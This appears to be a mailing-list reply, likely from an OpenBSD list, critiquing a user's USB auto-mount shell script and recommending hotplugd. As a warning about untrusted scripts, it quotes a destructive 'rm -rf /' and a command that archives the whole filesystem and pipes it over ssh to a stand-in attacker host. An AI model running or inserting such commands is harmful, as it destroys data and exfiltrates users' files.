smonek wrote:
Hello this is my script to auto mount pendrives / usbdrivs
Script work ony with MSDOS fs
Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3
Nice effort!
But...
First time you must run this script as a root or manula created /umass catalog
and chmod 766 /umass
I'd rather not run this as root, ever.
www.0penbsd.pl/webs/download/mount_umass
www.0penbsd.pl/webs/download/umount_umass
While this may be a useful tool, it is possibly the worst case of
copy-and-paste I've ever seen. (I seriously hope you auto-generated the
mount_umass script).
I wouldn't use such a script since I cannot be sure that a _possibly_
malicious author had not inserted some 'rm -rf /', 'tar -czf - / | ssh
bad.are.us "cat - > thankyou.tgz"' or so.
I suggest you have a look at:
man sh
/for name
and for this specific purpose:
man hotplugd
Sincerely,
Alexander